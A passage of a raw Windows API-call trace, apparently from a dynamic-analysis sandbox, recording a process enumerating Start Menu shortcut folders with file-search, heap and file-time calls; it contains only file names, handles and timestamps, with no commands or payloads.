ftLastWriteTime.dwLowDateTime=0x2b99f553, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="")) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1937f4d5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="")) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="")) returned 1 [0092.105] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="")) returned 0 [0092.105] GetLastError () returned 0x12 [0092.105] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.106] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d692035, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x0, dwReserved1=0x0, cFileName="Component Services.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ea3fc9, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x26ea3fc9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x26f163ea, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Computer Management.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15444c01, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x15444c01, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x154b7022, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data Sources (ODBC).lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa3aca9c, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa3aca9c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8e0e72, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b8e0e72, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b8e0e72, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x512, dwReserved0=0x0, dwReserved1=0x0, cFileName="Event Viewer.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2725c230, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2725c230, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x272a84f0, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="iSCSI Initiator.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa38693b, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa38693b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa3aca9c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memory Diagnostics Tool.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14139bde, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x14139bde, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x14328dc1, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance Monitor.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x806d09e0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x806d09e0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8071cca0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print Management.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c3cfe0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security Configuration Management.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d7306f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x1d7306f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1d77c9b3, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x508, dwReserved0=0x0, dwReserved1=0x0, cFileName="services.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa575b1f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xa575b1f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xa575b1f, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4de, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Configuration.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b99f553, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2b99f553, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x2b99f553, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task Scheduler.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191902f2, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x191902f2, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x1937f4d5, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Firewall with Advanced Security.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="")) returned 1 [0092.106] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows PowerShell Modules.lnk", cAlternateFileName="")) returned 0 [0092.106] GetLastError () returned 0x12 [0092.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13690d8) returned 1 [0092.107] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368fd0) returned 1 [0092.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.107] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="")) returned 1 [0092.107] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.107] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0092.108] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.108] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0092.108] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.108] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.109] NtClose (Handle=0x16c) returned 0x0 [0092.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fbfc0 [0092.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368ec8 [0092.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1368fd0 [0092.110] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0092.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.110] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8e194aab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8e194aab, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13690d8 [0092.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fbfc0) returned 1 [0092.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f86d8 [0092.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136c570 [0092.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.113] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="")) returned 1 [0092.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.113] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f86f8 [0092.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x136c678 [0092.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fc0d0) returned 1 [0092.115] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="")) returned 0 [0092.115] GetLastError () returned 0x12 [0092.115] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0092.115] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0092.115] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.115] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8e194aab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8e194aab, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0092.115] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="")) returned 1 [0092.115] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db22b28, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3db22b28, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x3db94f49, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer.lnk", cAlternateFileName="")) returned 0 [0092.115] GetLastError () returned 0x12 [0092.115] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368fd0) returned 1 [0092.115] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13690d8) returned 1 [0092.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.116] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="")) returned 1 [0092.116] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0092.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fc0d0 [0092.116] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0092.117] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0092.117] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0092.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0092.117] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0092.118] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0092.118] NtClose (Handle=0x178) returned 0x0 [0092.118] RtlFreeHeap (HeapHandle=0x940000, 